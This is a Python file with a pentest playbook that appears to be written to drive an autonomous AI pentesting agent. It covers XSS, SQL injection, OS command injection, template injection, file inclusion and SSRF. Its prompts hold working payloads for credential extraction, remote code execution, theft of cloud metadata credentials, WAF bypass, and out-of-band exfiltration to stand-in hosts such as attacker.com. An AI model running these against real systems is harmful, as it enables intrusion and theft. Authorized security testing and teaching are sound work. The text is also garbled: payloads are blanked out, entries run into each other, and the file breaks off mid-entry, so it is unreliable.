""" Comprehensive Pentest Playbook - 100 Vulnerability Types ========================================================= Multi-phase testing methodologies, bypass techniques, verification checklists, and thousands of specific AI prompts for the autonomous pentesting agent. Each entry contains: - category: Vulnerability category - title: Human-readable name - overview: What to test and why - threat_model: Attack scenarios - discovery: How to find this vuln - test_phases: Multi-phase testing with prompts, expected results, decision trees - bypass_strategies: WAF/filter evasion techniques - verification_checklist: Steps to confirm true positive - chain_attacks: How to chain with other vulns - anti_false_positive: Common FP patterns to avoid """ from typing import Dict, List, Any, Optional # ───────────────────────────────────────────────────────────── # PENTEST PLAYBOOK - 100 Vulnerability Types # ───────────────────────────────────────────────────────────── PENTEST_PLAYBOOK: Dict[str, Dict[str, Any]] = { # ═══════════════════════════════════════════════════════════ # CHAPTER 1: INJECTION ATTACKS (1-15) # ═══════════════════════════════════════════════════════════ "xss_reflected": { "category": "client_side", "title": "Reflected Cross-Site Scripting (XSS)", "overview": "User input reflected in HTTP response without sanitization. Test every parameter in every endpoint for reflection, then determine rendering context and craft context-appropriate payloads.", "threat_model": "Attacker crafts URL with malicious script. Victim clicks link, script executes in their browser session stealing cookies, tokens, or performing actions.", "discovery": [ "Inject unique canary (e.g., xss8a3f) into every parameter", "Check if canary appears in response body", "Determine rendering context: HTML body, attribute, JS, URL, CSS", "Check Content-Type header (must be text/html)", "Test both GET and POST parameters", "Check URL path segments for reflection", "Test HTTP headers (Referer, User-Agent) for reflection" ], "test_phases": [ { "phase": 1, "name": "Canary Injection & Context Detection", "prompts": [ "Inject a unique alphanumeric canary string into the parameter. Check if it appears in the response body. If reflected, identify the exact HTML context: is it inside a tag attribute, within a . Check if backslash escaping is applied — if so try \\';alert(1)//.", "URL CONTEXT: If reflected in href/src, try javascript:alert(1), data:text/html,, or javascript:/**/alert(1).", "Try case variations: , .", "Try null bytes: alert(1), ." ], "expected_results": ["Payload executes in browser", "Alert/console.log fires", "DOM modification visible"], "decision_tree": { "payload_executes": "CONFIRMED - Document payload, context, and bypass used", "payload_reflected_but_no_execution": "Check CSP, check if in non-executable context", "payload_filtered": "Proceed to Phase 3 - Bypass strategies" } }, { "phase": 3, "name": "Filter Bypass & WAF Evasion", "prompts": [ "Try encoding bypass: double URL encoding (%253Cscript%253E), HTML entity encoding (<script>), unicode normalization.", "Try tag mutation: , via the storage endpoint. Navigate to EVERY display location and check if it executes.", "If the submission form has client-side validation, bypass it by sending the request directly via the API (use curl/repeater to skip frontend sanitization).", "Test if sanitization happens at storage time vs display time: submit payload, check if raw payload is in database/API response even if HTML display is sanitized.", "Try payloads in different fields simultaneously — name, bio, location, website URL. Some fields may have different sanitization rules.", "Test payload persistence: submit, wait, check if payload survives server restart/cache clear." ], "expected_results": ["Script executes when page is viewed", "Payload persists in storage"], "decision_tree": { "executes_on_display": "CONFIRMED stored XSS - document all affected display contexts", "stored_but_encoded_on_display": "Check alternative display contexts (admin, email, PDF)", "filtered_at_submission": "Try bypass techniques in Phase 3" } }, { "phase": 3, "name": "Multi-Context & Bypass Testing", "prompts": [ "Try mutation XSS payloads that survive sanitization libraries: , , .", "Test if there are character limits on the stored field. If so, try short payloads: (27 chars), (30 chars).", "Check if the stored content appears in JavaScript context (e.g., var name = 'USER_INPUT'). If so, try ';alert(1);// or .", "Test markdown/BBCode rendering if supported: [url]javascript:alert(1)[/url], ![x](javascript:alert(1)), [Click](javascript:alert(1)).", "Test second-order stored XSS: submit payload in Field A, it gets used in a SQL query/template that outputs to Field B display." ], "expected_results": ["Bypass found", "Payload executes in at least one display context"], "decision_tree": { "bypass_works": "CONFIRMED - Document the specific bypass and all affected views", "no_bypass_found": "Report as potential stored XSS with sanitization note" } } ], "bypass_strategies": [ "Submit via API directly, bypassing frontend validation", "Use mutation XSS payloads that survive DOMPurify/bleach", "Exploit differences between storage sanitization and display encoding", "Target less-protected display contexts (admin panels, email templates)", "Use polyglot payloads that work across HTML/JS/attribute contexts", "Exploit markdown/BBCode parsers", "Character encoding tricks: UTF-7, overlong UTF-8" ], "verification_checklist": [ "Payload persists in storage after submission", "Script executes when ANY user views the content", "Execution confirmed in browser (not just source reflection)", "Different user session can trigger the stored payload", "Payload survives page reload/cache clear" ], "chain_attacks": ["Stored XSS → Mass session hijacking", "Stored XSS → Worm propagation", "Stored XSS → Admin account takeover", "Stored XSS → Crypto miner injection"], "anti_false_positive": [ "Self-XSS (only triggers in attacker's own session) is reduced severity", "Payload stored but never rendered to other users is NOT stored XSS", "Must verify the stored payload actually executes, not just persists in DB" ] }, "xss_dom": { "category": "client_side", "title": "DOM-Based Cross-Site Scripting", "overview": "Client-side JavaScript reads user input from a source (URL hash, query, referrer, postMessage) and writes it to a dangerous sink (innerHTML, document.write, eval) without sanitization. Payload never touches the server.", "threat_model": "Attacker crafts URL with payload in fragment/query. Victim's browser JS reads the input and writes it to DOM sink, executing the script. Server logs may not capture the attack.", "discovery": [ "Analyze client-side JavaScript for source-to-sink data flows", "Check URL fragment (#) handling — fragments aren't sent to server", "Look for document.location, window.name, postMessage listeners", "Search for dangerous sinks: innerHTML, outerHTML, document.write, eval, setTimeout(string), Function()" ], "test_phases": [ { "phase": 1, "name": "Source & Sink Mapping", "prompts": [ "Crawl all JavaScript files on the target. Search for DOM sources: location.hash, location.search, location.href, document.referrer, window.name, document.URL, postMessage event.data, localStorage, sessionStorage.", "For each source found, trace the data flow to identify if it reaches a dangerous sink: innerHTML, outerHTML, document.write, document.writeln, eval(), setTimeout(string), setInterval(string), Function(), element.src, element.href, jQuery.html(), jQuery.append(), $.globalEval().", "Check if any sanitization/encoding exists between source and sink. Note: client-side sanitization can often be bypassed.", "Use browser DevTools to set breakpoints on sink functions and observe what data flows through them." ], "expected_results": ["Source-to-sink paths identified", "Sanitization gaps found"], "decision_tree": { "direct_source_to_sink": "High risk - proceed to Phase 2 with appropriate sink payloads", "sanitized_path": "Analyze sanitization for bypasses", "no_dangerous_sinks": "STOP - No DOM XSS vectors" } }, { "phase": 2, "name": "Sink-Specific Payload Testing", "prompts": [ "innerHTML SINK: Set location.hash to #. Check if the img tag is created in the DOM and the onerror fires.", "document.write SINK: Inject or depending on write context.", "eval() SINK: If user input flows to eval, try: 1;alert(1) or ';alert(1);// depending on string context.", "jQuery.html() SINK: Same as innerHTML - try .", "element.src SINK: Try javascript:alert(1) if input sets iframe.src or img.src.", "postMessage SINK: Set up a page that sends postMessage to the target with payload in event.data. Check if the target's message handler writes data to a sink without origin validation." ], "expected_results": ["JavaScript executes via DOM manipulation"], "decision_tree": { "payload_executes": "CONFIRMED DOM XSS - Note: server-side fix needed in JS code", "payload_sanitized_client_side": "Try bypassing client-side sanitizer", "sink_not_reached": "Re-check data flow, may need specific URL structure" } } ], "bypass_strategies": [ "Fragment-based payloads bypass WAFs (# not sent to server)", "Mutation XSS for DOMPurify:
", "Prototype pollution to override sanitizer config", "Break out of JavaScript string context in eval sinks", "Use window.name as XSS source (persists across navigations)", "Exploit jQuery selector injection: $('user_input')" ], "verification_checklist": [ "Payload executes in browser via DOM manipulation (not server reflection)", "Source-to-sink data flow traced and documented", "Server response does NOT contain the payload (distinguishes from reflected XSS)", "Execution confirmed with Playwright/headless browser validation" ], "chain_attacks": ["DOM XSS → Cookie theft", "DOM XSS → Keylogging", "DOM XSS → CSRF token extraction"], "anti_false_positive": [ "Source exists but no dangerous sink = NOT DOM XSS", "Data reaches sink but is properly sanitized = NOT DOM XSS", "Must prove actual JavaScript execution, not just DOM modification" ] }, "sqli": { "category": "injection", "title": "SQL Injection", "overview": "User input incorporated into SQL queries without parameterization. Test every parameter for SQL syntax influence via error-based, boolean-based blind, time-based blind, and UNION-based techniques.", "threat_model": "Attacker manipulates SQL queries to extract data, bypass authentication, modify/delete data, or achieve RCE via database features (xp_cmdshell, LOAD_FILE, INTO OUTFILE).", "discovery": [ "Inject single quote (') and observe error messages", "Test numeric params with arithmetic: id=1 vs id=2-1", "Boolean test: AND 1=1 vs AND 1=2 (response difference)", "Time test: AND SLEEP(5) or AND pg_sleep(5)", "Test all parameters: GET, POST, cookies, headers, JSON fields" ], "test_phases": [ { "phase": 1, "name": "Injection Point Detection", "prompts": [ "For each parameter, send a single quote (') and observe: does the response contain a SQL error (MySQL: 'You have an error in your SQL syntax', PostgreSQL: 'ERROR: syntax error', MSSQL: 'Unclosed quotation mark', Oracle: 'ORA-01756')? If yes, the parameter is injectable.", "For numeric parameters, test: original value, value-0 (should be same), value AND 1=1 (same), value AND 1=2 (different). Compare response lengths and content.", "For string parameters, test: value' AND '1'='1 (should be same as original), value' AND '1'='2 (should be different). If responses differ, parameter is injectable.", "If no visible difference, try time-based: value' AND SLEEP(5)-- (MySQL), value'; WAITFOR DELAY '0:0:5'-- (MSSQL), value' AND pg_sleep(5)-- (PostgreSQL). Measure response time.", "Test in JSON bodies: {\"id\": \"1' AND '1'='1\"}, in cookies, in HTTP headers (X-Forwarded-For, Referer).", "Identify the database type from error messages, HTTP headers (X-Powered-By), or technology fingerprinting." ], "expected_results": ["SQL error triggered", "Boolean difference observed", "Time delay confirmed"], "decision_tree": { "error_based_confirmed": "Proceed to Phase 2 - UNION extraction", "boolean_blind_confirmed": "Proceed to Phase 2 - Boolean extraction", "time_blind_confirmed": "Proceed to Phase 2 - Time-based extraction", "no_injection_detected": "Try second-order SQLi, JSON/XML param formats" } }, { "phase": 2, "name": "Data Extraction", "prompts": [ "UNION-BASED: Determine column count with ORDER BY incrementing (ORDER BY 1--, ORDER BY 2--, ...) until error. Then: UNION SELECT NULL,NULL,...-- matching column count. Find a visible column by replacing NULLs with 'test'.", "Once visible column found: UNION SELECT NULL,version(),NULL-- to confirm extraction. Then extract: database(), current_user(), @@hostname.", "Extract table names: UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()-- (one at a time with LIMIT/OFFSET).", "Extract column names: UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--.", "Extract data: UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users--.", "BOOLEAN BLIND: Extract data character by character: AND SUBSTRING(version(),1,1)='5'. Automate with binary search on ASCII values.", "TIME BLIND: AND IF(SUBSTRING(version(),1,1)='5',SLEEP(3),0). Measure response time to infer true/false." ], "expected_results": ["Database version extracted", "Table/column names obtained", "User data extracted"], "decision_tree": { "data_extracted": "CONFIRMED SQLi - Document extraction proof", "union_blocked": "Try boolean or time-based blind extraction", "all_extraction_fails": "Check for second-order or out-of-band channels" } }, { "phase": 3, "name": "Advanced Exploitation & Bypass", "prompts": [ "WAF BYPASS: Try comment injection: /*!50000UNION*//*!50000SELECT*/, inline comments: UN/**/ION SE/**/LECT, case mixing: uNiOn SeLeCt.", "Try encoding: URL double-encode (%2527 for '), hex encoding (0x27 for '), Unicode escapes.", "Try alternative syntax: UNION ALL SELECT, 1 UNION SELECT, -1 UNION SELECT.", "SECOND-ORDER SQLi: Register user with name: admin'-- then login. The stored value may be used unsafely in subsequent queries.", "OUT-OF-BAND: MySQL LOAD_FILE('\\\\\\\\attacker.com\\\\a'), MSSQL exec master..xp_dirtree '\\\\\\\\attacker.com\\\\a', Oracle UTL_HTTP.REQUEST('http://attacker.com/'||version).", "RCE via SQLi: MySQL INTO OUTFILE for webshell, MSSQL xp_cmdshell, PostgreSQL COPY TO/FROM PROGRAM." ], "expected_results": ["WAF bypassed", "Advanced extraction successful", "RCE achieved"], "decision_tree": { "rce_achieved": "CRITICAL - Document RCE chain carefully", "data_extracted_via_bypass": "CONFIRMED - Document bypass technique", "oob_data_received": "CONFIRMED via out-of-band channel" } } ], "bypass_strategies": [ "Inline comments: /*!UNION*/ /*!SELECT*/", "Double URL encoding: %2527 for '", "Case alternation: uNiOn SeLeCt", "Whitespace alternatives: UNION%09SELECT, UNION%0ASELECT", "HPP: param=1¶m=UNION+SELECT", "Scientific notation: 1e0UNION SELECT", "JSON/XML wrapping for WAF bypass" ], "verification_checklist": [ "SQL error message shows query influence (not generic error)", "Boolean condition changes response content deterministically", "Time delay is consistent and proportional (SLEEP(3) = ~3s delay)", "Extracted data matches expected format (version string, table names)", "Negative control: removing injection returns normal response" ], "chain_attacks": ["SQLi → Data exfiltration", "SQLi → Auth bypass", "SQLi → RCE via DB features", "SQLi → File read/write"], "anti_false_positive": [ "Single quote causing error could be non-SQL error (XML, JSON parsing)", "Response time variation without injection = NOT time-based SQLi", "Must demonstrate actual SQL query influence, not just error triggering", "Application errors from malformed input != SQL injection" ] }, "sqli_blind": { "category": "injection", "title": "Blind SQL Injection (Boolean & Time-Based)", "overview": "SQL injection where results are not directly visible. Infer data through boolean response differences or time delays. Requires methodical binary-search extraction.", "threat_model": "Same as SQLi but exploitation is slower. Attacker extracts data character-by-character through true/false inference. Commonly found in login forms, search, and API endpoints.", "discovery": [ "Boolean: param' AND 1=1-- vs param' AND 1=2-- (different responses)", "Time: param' AND SLEEP(5)-- (5-second delay vs normal)", "Response difference can be: content length, specific text, HTTP status, redirect" ], "test_phases": [ { "phase": 1, "name": "Blind Detection & DB Fingerprinting", "prompts": [ "Send param' AND 1=1-- and param' AND 1=2--. Compare responses: different content length? Different text? Different status code? Any measurable difference confirms boolean blind SQLi.", "If no content difference, try time-based: param' AND SLEEP(5)-- (MySQL), param' AND (SELECT CASE WHEN 1=1 THEN pg_sleep(5) ELSE pg_sleep(0) END)-- (PostgreSQL), param'; WAITFOR DELAY '0:0:5'-- (MSSQL).", "Fingerprint DB: param' AND SUBSTRING(@@version,1,1)='5'-- (MySQL has @@version), param' AND SUBSTRING(version(),1,1)='P'-- (PostgreSQL).", "Test with conditional errors: param' AND (SELECT CASE WHEN 1=1 THEN 1/0 ELSE 1 END)=1-- to confirm injectable via error-based blind." ], "expected_results": ["Boolean or time-based blind SQLi confirmed", "DB type identified"], "decision_tree": { "boolean_difference_found": "Use boolean-based extraction in Phase 2", "time_delay_confirmed": "Use time-based extraction in Phase 2", "no_difference": "Try different injection points, encodings, or second-order" } }, { "phase": 2, "name": "Automated Data Extraction", "prompts": [ "Extract DB version character by character using binary search: AND ASCII(SUBSTRING(version(),{pos},1))>{mid}--. Start with pos=1, binary search ASCII 32-126.", "Extract current database name: AND ASCII(SUBSTRING(database(),{pos},1))>{mid}--.", "Count tables: AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>{n}--.", "Extract table names: AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT {i},1),{pos},1))>{mid}--.", "Extract column names and data using same technique with appropriate subquery.", "Optimize: use bit-by-bit extraction (7 requests per char) instead of linear search." ], "expected_results": ["Full database schema extracted", "Sensitive data obtained"], "decision_tree": { "data_extracted": "CONFIRMED - Document proof with extracted data sample", "extraction_too_slow": "Try out-of-band techniques or conditional error messages", "extraction_blocked": "WAF may be blocking - try encoding bypasses" } } ], "bypass_strategies": [ "Replace spaces: UNION%09SELECT, AND%0a1=1", "String concatenation: 'ad'||'min' (Oracle/PG), CONCAT('ad','min') (MySQL)", "Conditional without IF: CASE WHEN condition THEN true ELSE false END", "Time alternatives: BENCHMARK(10000000,SHA1('a')) (MySQL), GENERATE_SERIES(1,1000000) (PG)" ], "verification_checklist": [ "Boolean condition reliably produces different responses (test 10+ times)", "Time delay is consistent and not caused by network latency", "Extracted data matches expected format (version string format correct)", "Negative control: non-SQLi input produces consistent baseline response" ], "chain_attacks": ["Blind SQLi → Full DB dump", "Blind SQLi → Credential extraction → Auth bypass"], "anti_false_positive": [ "Network jitter can cause false time-based positives - use 5s+ delay and multiple tests", "Boolean difference must be caused by SQL condition, not input-dependent rendering", "Rate limiting / WAF may cause response differences unrelated to SQL" ] }, "command_injection": { "category": "injection", "title": "OS Command Injection", "overview": "User input passed to OS command execution (exec, system, popen, backticks). Test every parameter that might flow to command execution with command separators and out-of-band techniques.", "threat_model": "Attacker executes arbitrary OS commands on the server, leading to full system compromise: data theft, backdoor installation, lateral movement, ransomware deployment.", "discovery": [ "Identify parameters that might trigger server-side commands (ping, nslookup, file operations, PDF generation, image processing)", "Test command separators: ; | || & && ` $() \\n", "Use time-based detection: ;sleep 5; or |timeout 5|", "Use out-of-band detection: ;curl attacker.com; or ;nslookup attacker.com;" ], "test_phases": [ { "phase": 1, "name": "Injection Point & Separator Testing", "prompts": [ "For each parameter, test command separators: value;id, value|id, value||id, value&&id, value`id`, value$(id), value%0aid. Check if command output appears in response.", "If no direct output, try time-based: value;sleep 5;, value|sleep 5|, value$(sleep 5). Measure response time.", "Try out-of-band: value;curl http://COLLABORATOR;, value;nslookup COLLABORATOR;, value;wget http://COLLABORATOR/$(whoami);.", "Test newline injection: value%0a%0did (CRLF + command).", "Check for argument injection if input is used as a command argument: --version, -h, --help to detect if arguments are processed." ], "expected_results": ["Command output in response", "Time delay observed", "OOB callback received"], "decision_tree": { "output_in_response": "CONFIRMED - Direct command output", "time_delay_confirmed": "CONFIRMED blind - Use time or OOB for extraction", "oob_callback": "CONFIRMED - Out-of-band execution proved", "no_indicators": "Try encoding, different separators, argument injection" } }, { "phase": 2, "name": "Command Execution & Impact Assessment", "prompts": [ "Execute identity commands: id, whoami, hostname, uname -a. Document the execution context (user, OS, hostname).", "Check permissions: ls -la /etc/shadow, cat /etc/passwd, env (look for secrets in environment).", "Test write access: touch /tmp/pwned_test_$(date +%s). Check if file was created.", "Network reconnaissance: ip addr, netstat -tlnp, cat /etc/hosts, cat /etc/resolv.conf.", "If running as root, document the full impact. If non-root, check sudo -l for privilege escalation paths." ], "expected_results": ["Full system access demonstrated", "User context documented"], "decision_tree": { "root_access": "CRITICAL - Full server compromise", "limited_user": "HIGH - Document access level and potential privesc", "sandboxed": "MEDIUM - Document sandbox escape possibilities" } } ], "bypass_strategies": [ "Separator alternatives: ;, |, ||, &&, \\n, \\r\\n, `, $()", "Space bypass: {cat,/etc/passwd}, cat${IFS}/etc/passwd, cat<>/etc/passwd", "Wildcard bypass: /???/??t /???/p??s?d (matches /bin/cat /etc/passwd)", "Encoding: \\x69\\x64 for 'id', $'\\x69\\x64'", "Variable bypass: a=i;b=d;$a$b (executes 'id')", "Argument injection: --output=/tmp/pwned when input used as arg", "PowerShell on Windows: ;powershell -c 'id'" ], "verification_checklist": [ "Command output matches expected OS command result", "Time delay is precise and repeatable (sleep N = ~N seconds)", "OOB callback includes unique identifier proving execution", "Negative control: removing separator returns normal behavior", "Different commands produce different outputs (not cached/generic)" ], "chain_attacks": ["Command injection → Reverse shell", "Command injection → Credential harvesting", "Command injection → Lateral movement", "Command injection → Data exfiltration"], "anti_false_positive": [ "Time delay from heavy processing != command injection", "Error messages mentioning command names != execution", "Must prove actual command execution with output or side effect" ] }, "ssti": { "category": "injection", "title": "Server-Side Template Injection (SSTI)", "overview": "User input embedded in server-side template engine (Jinja2, Twig, Freemarker, Velocity, Pebble, ERB, Smarty). Can lead to RCE. Test with mathematical expressions to detect template evaluation.", "threat_model": "Attacker injects template syntax that gets evaluated server-side, escalating from information disclosure to arbitrary code execution depending on the template engine.", "discovery": [ "Inject {{7*7}} and check for 49 in response (Jinja2/Twig)", "Try ${7*7} for Freemarker/Velocity/Pebble", "Try #{7*7} for Ruby ERB / Java EL", "Try {7*7} for Smarty", "Try <%= 7*7 %> for ERB/EJS", "Use polyglot: ${{<%[%'\"}}%\\." ], "test_phases": [ { "phase": 1, "name": "Template Engine Detection", "prompts": [ "Inject the polyglot probe ${{<%[%'\"}}%\\. into each parameter. Analyze the error message to identify the template engine.", "Try {{7*7}} → if response contains 49, it's Jinja2 or Twig. Then try {{7*'7'}} → '7777777' means Jinja2, '49' means Twig.", "Try ${7*7} → 49 means Freemarker, Velocity, or Pebble. Try ${class.getClass()} for Velocity, ${.now} for Freemarker.", "Try #{7*7} → 49 means Java EL or Ruby ERB. Try #{system('id')} for ERB.", "Try <%= 7*7 %> → 49 means EJS or classic ERB.", "Check error messages for template engine names: 'jinja2', 'twig', 'freemarker', 'velocity', 'pebble', 'thymeleaf'." ], "expected_results": ["Mathematical expression evaluated", "Template engine identified"], "decision_tree": { "expression_evaluated": "Proceed to Phase 2 with engine-specific payloads", "error_reveals_engine": "Proceed to Phase 2 targeting identified engine", "no_evaluation": "Try alternative template syntaxes or different parameters" } }, { "phase": 2, "name": "RCE Exploitation per Engine", "prompts": [ "JINJA2 RCE: {{config.__class__.__init__.__globals__['os'].popen('id').read()}} or {{''.__class__.__mro__[1].__subclasses__()[XXX]('id',shell=True,stdout=-1).communicate()}} (find subprocess.Popen index).", "TWIG RCE: {{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}.", "FREEMARKER RCE: <#assign ex='freemarker.template.utility.Execute'?new()>${ex('id')}.", "VELOCITY RCE: #set($x='')##set($rt=$x.class.forName('java.lang.Runtime'))#set($chr=$x.class.forName('java.lang.Character'))#set($str=$x.class.forName('java.lang.String'))#set($ex=$rt.getRuntime().exec('id')).", "PEBBLE RCE: {% set cmd = 'id' %}{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}{{(1).TYPE.forName('java.lang.String').constructors[0].newInstance(([bytes])}}.", "ERB RCE: <%= system('id') %> or <%= `id` %>.", "THYMELEAF RCE: __${T(java.lang.Runtime).getRuntime().exec('id')}__::.x" ], "expected_results": ["Command execution achieved", "System information extracted"], "decision_tree": { "rce_achieved": "CRITICAL - Document RCE with proof", "info_disclosure_only": "HIGH - Template engine info leak", "rce_blocked_by_sandbox": "MEDIUM - Document sandbox limitations" } } ], "bypass_strategies": [ "Jinja2 sandbox bypass: explore __subclasses__() to find Popen/os", "Attribute access alternatives: |attr('__class__'), ['__class__']", "String concatenation: {{'__cla'+'ss__'}}", "Unicode escapes in template syntax", "Hex encoding: \\x5f\\x5fclass\\x5f\\x5f", "Use request object: {{request.application.__globals__}}" ], "verification_checklist": [ "Mathematical expression (7*7=49) evaluates correctly", "Template engine identified with certainty", "RCE proof: command output matches expected system info", "Negative control: literal string {{7*7}} without evaluation = not vulnerable" ], "chain_attacks": ["SSTI → RCE → Full compromise", "SSTI → File read → Secret extraction", "SSTI → SSRF via template functions"], "anti_false_positive": [ "Client-side template engines (Angular, Vue) are NOT SSTI", "Application returning '49' for unrelated reasons != SSTI", "Must prove server-side evaluation, not just string reflection" ] }, "lfi": { "category": "file_access", "title": "Local File Inclusion (LFI)", "overview": "Application includes local files based on user input. Test file path parameters for directory traversal to read sensitive files or achieve RCE via log poisoning, PHP wrappers, or /proc/self/environ.", "threat_model": "Attacker reads sensitive server files (config, credentials, source code) or achieves RCE by including log files containing injected PHP, or by leveraging PHP filter wrappers.", "discovery": [ "Look for parameters that reference files: page=, file=, path=, template=, include=, lang=", "Test ../../etc/passwd (or ..\\..\\windows\\win.ini on Windows)", "Try absolute path: /etc/passwd", "Try null byte truncation (old PHP): ../../etc/passwd%00", "Test PHP wrappers: php://filter/convert.base64-encode/resource=index.php" ], "test_phases": [ { "phase": 1, "name": "Path Traversal Detection", "prompts": [ "For file-referencing parameters, try: ../../../../../../etc/passwd. Use enough ../ to reach root (8-10 levels). Check for 'root:x:0:0' in response.", "If ../ is filtered, try: ....//....//etc/passwd, ..%252f..%252f/etc/passwd, ..%c0%af..%c0%af/etc/passwd (overlong UTF-8), ....\\\\....\\\\etc/passwd.", "Try absolute path: /etc/passwd. Some apps only filter relative traversal.", "Try null byte (old PHP <5.3.4): ../../etc/passwd%00.php to bypass extension append.", "On Windows: ....\\\\....\\\\windows\\\\win.ini, ....\\\\....\\\\windows\\\\system32\\\\drivers\\\\etc\\\\hosts.", "Check if error messages reveal the base path (aids further exploitation)." ], "expected_results": ["/etc/passwd content displayed", "Error reveals file path"], "decision_tree": { "file_content_displayed": "CONFIRMED LFI - Proceed to Phase 2 for impact", "error_with_path": "Path disclosed - adjust traversal depth", "all_traversal_blocked": "Try wrapper-based LFI in Phase 2" } }, { "phase": 2, "name": "Sensitive File Extraction & RCE", "prompts": [ "Read sensitive files: /etc/shadow, /etc/hosts, /proc/self/environ (environment variables with secrets), /proc/self/cmdline.", "Read application source: use known paths from error messages. Try config files: .env, config.php, settings.py, application.properties, web.config.", "PHP WRAPPERS: php://filter/convert.base64-encode/resource=index.php (reads source code as base64). Decode to get application source.", "RCE via PHP wrappers: php://input with POST body containing , data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+ ().", "RCE via LOG POISONING: Include /var/log/apache2/access.log after sending request with User-Agent: .", "RCE via /proc/self/fd/X: enumerate file descriptors, some may be writable logs.", "Try phar:// wrapper for deserialization attacks." ], "expected_results": ["Sensitive data extracted", "RCE achieved via wrapper/log"], "decision_tree": { "rce_via_wrappers": "CRITICAL - Full server compromise", "sensitive_data_read": "HIGH - Credential/source code exposure", "limited_read_only": "MEDIUM - Document readable files" } } ], "bypass_strategies": [ "Double encoding: ..%252f..%252f", "Overlong UTF-8: %c0%af for /", "Nested traversal: ....// → ../ after filter removes ../", "URL encoding: %2e%2e%2f for ../", "Null byte: %00 to truncate appended extension (old PHP)", "Path normalization: /etc/passwd vs /etc//passwd vs /etc/./passwd", "PHP wrappers: php://filter, data://, phar://, expect://" ], "verification_checklist": [ "Known file content matches expected format (/etc/passwd has root:x:0:0)", "Different file paths return different content", "Negative control: non-existent file returns error/different response", "File content is actual server file, not template/default content" ], "chain_attacks": ["LFI → Credential extraction → Further access", "LFI → Source code → New vulns", "LFI → Log poisoning → RCE", "LFI → PHP wrappers → RCE"], "anti_false_positive": [ "Error message mentioning file path != LFI (information disclosure only)", "Default/template file content != actually reading arbitrary files", "Must demonstrate reading a file OUTSIDE the intended directory scope" ] }, "ssrf": { "category": "request_forgery", "title": "Server-Side Request Forgery (SSRF)", "overview": "Application makes HTTP requests based on user-supplied URL/host. Test for access to internal services, cloud metadata, and internal network scanning. Focus on internal impact, not just that a request was made.", "threat_model": "Attacker tricks server into making requests to internal services (databases, admin panels, cloud metadata), bypassing firewalls and network segmentation. Can lead to credential theft, internal service access, and RCE.", "discovery": [ "Identify parameters accepting URLs: url=, uri=, path=, redirect=, callback=, webhook=", "Test with external callback URL (collaborator/webhook.site)", "Test with internal targets: http://127.0.0.1, http://localhost", "Look for PDF generators, image fetchers, link previewers, webhooks, import from URL features" ], "test_phases": [ { "phase": 1, "name": "SSRF Detection & Internal Access", "prompts": [ "Submit url=http://COLLABORATOR_URL and check for callback. This confirms the server makes outbound requests.", "Test internal access: url=http://127.0.0.1:80, url=http://localhost:8080, url=http://[::1]:80. Check if internal content is returned.", "Test cloud metadata: url=http://169.254.169.254/latest/meta-data/ (AWS), url=http://metadata.google.internal/computeMetadata/v1/ (GCP), url=http://169.254.169.254/metadata/instance (Azure).", "Port scan internal network: url=http://127.0.0.1:{port} for common ports (22, 80, 443, 3306, 5432, 6379, 8080, 9200). Different response times/sizes indicate open ports.", "Try file protocol: url=file:///etc/passwd. Try dict protocol: url=dict://127.0.0.1:6379/INFO (Redis).", "Test for partial SSRF: can you control the host but not the path? Or the path but not the host?" ], "expected_results": ["Internal content accessed", "Cloud metadata retrieved", "Internal ports discovered"], "decision_tree": { "internal_content_returned": "CONFIRMED SSRF - Proceed to Phase 2", "cloud_metadata_accessed": "CRITICAL - Cloud credential theft possible", "only_external_callback": "Partial SSRF - Test for further internal access", "all_internal_blocked": "Try bypass techniques in Phase 2" } }, { "phase": 2, "name": "Bypass & Impact Escalation", "prompts": [ "IP bypass: 0177.0.0.1 (octal), 0x7f000001 (hex), 2130706433 (decimal), 127.1, 127.0.0.1.nip.io (DNS rebinding).", "URL parsing confusion: http://attacker.com@127.0.0.1, http://127.0.0.1#@attacker.com, http://127.0.0.1%2523@attacker.com.", "Redirect bypass: host an external URL that 301 redirects to http://169.254.169.254/. The server may follow the redirect.", "Protocol smuggling: gopher://127.0.0.1:6379/_SET%20pwned%20true (Redis command via SSRF), gopher://127.0.0.1:25/_MAIL%20FROM:... (SMTP).", "DNS rebinding: use a domain that alternates between external IP and 127.0.0.1. First resolution passes allowlist, second resolution hits internal.", "If cloud metadata accessible, extract: IAM credentials, service account tokens, user-data scripts with secrets." ], "expected_results": ["Bypass found", "Impact escalated"], "decision_tree": { "cloud_creds_extracted": "CRITICAL - Document full credential extraction", "internal_service_accessed": "HIGH - Document internal service exposure", "bypass_found": "CONFIRMED - Document bypass technique", "limited_ssrf": "MEDIUM - Document capabilities and limitations" } } ], "bypass_strategies": [ "IP encoding: decimal, hex, octal, IPv6 mapped IPv4", "DNS tricks: 127.0.0.1.nip.io, DNS rebinding", "URL parsing: @, #, URL encoding confusion", "Redirect chains: external → internal redirect", "Protocol handlers: file://, dict://, gopher://", "CNAME to internal: external domain CNAMEd to internal host", "IPv6: http://[::1]/, http://[0:0:0:0:0:ffff:127.0.0.1]/" ], "verification_checklist": [ "Server makes request to attacker-controlled URL (OOB confirmation)", "Internal content/metadata returned that is NOT publicly accessible", "Negative control: external URL returns external content normally", "Internal access differs from what external access provides", "NOT just a status code difference — must have content/metadata proof" ], "chain_attacks": ["SSRF → Cloud metadata → IAM creds → Cloud takeover", "SSRF → Internal Redis → RCE", "SSRF → Internal admin panel → Data access"], "anti_false_positive": [ "Status code difference (403→200) alone is NOT SSRF proof", "Must demonstrate ACCESS to internal resources, not just request initiation", "Application fetching external URLs by design is not SSRF (it's the feature)", "Validate internal content is actually internal, not a default/error page" ] }, "nosql_injection": { "category": "injection", "title": "NoSQL Injection", "overview": "User input manipulates NoSQL queries (MongoDB, CouchDB, Redis). Test for operator injection in JSON/query parameters to bypass authentication or extract data.", "threat_model": "Attacker injects NoSQL operators ($gt, $ne, $regex, $where) to bypass authentication, extract data, or execute server-side JavaScript. Common in MongoDB applications using JSON APIs.", "discovery": [ "JSON body with user/pass: try {\"$ne\": \"\"} for always-true conditions", "Query params: 